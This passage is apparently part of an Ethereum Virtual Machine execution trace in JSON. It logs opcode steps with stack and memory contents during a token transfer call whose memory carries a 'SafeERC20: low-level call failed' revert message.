0000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7315,"op":"POP","gas":79774,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4","0x3406","0x220","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7316,"op":"POP","gas":79772,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4","0x3406","0x220","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7317,"op":"POP","gas":79770,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4","0x3406","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7318,"op":"JUMP","gas":79768,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4","0x3406"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13318,"op":"JUMPDEST","gas":79760,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13319,"op":"DUP1","gas":79759,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13320,"op":"MLOAD","gas":79756,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13321,"op":"SWAP1","gas":79753,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13322,"op":"SWAP2","gas":79750,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x20","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13323,"op":"POP","gas":79747,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13324,"op":"ISZERO","gas":79745,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13325,"op":"PUSH2","gas":79742,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13328,"op":"JUMPI","gas":79739,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x0","0x2db6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","00000000000000000000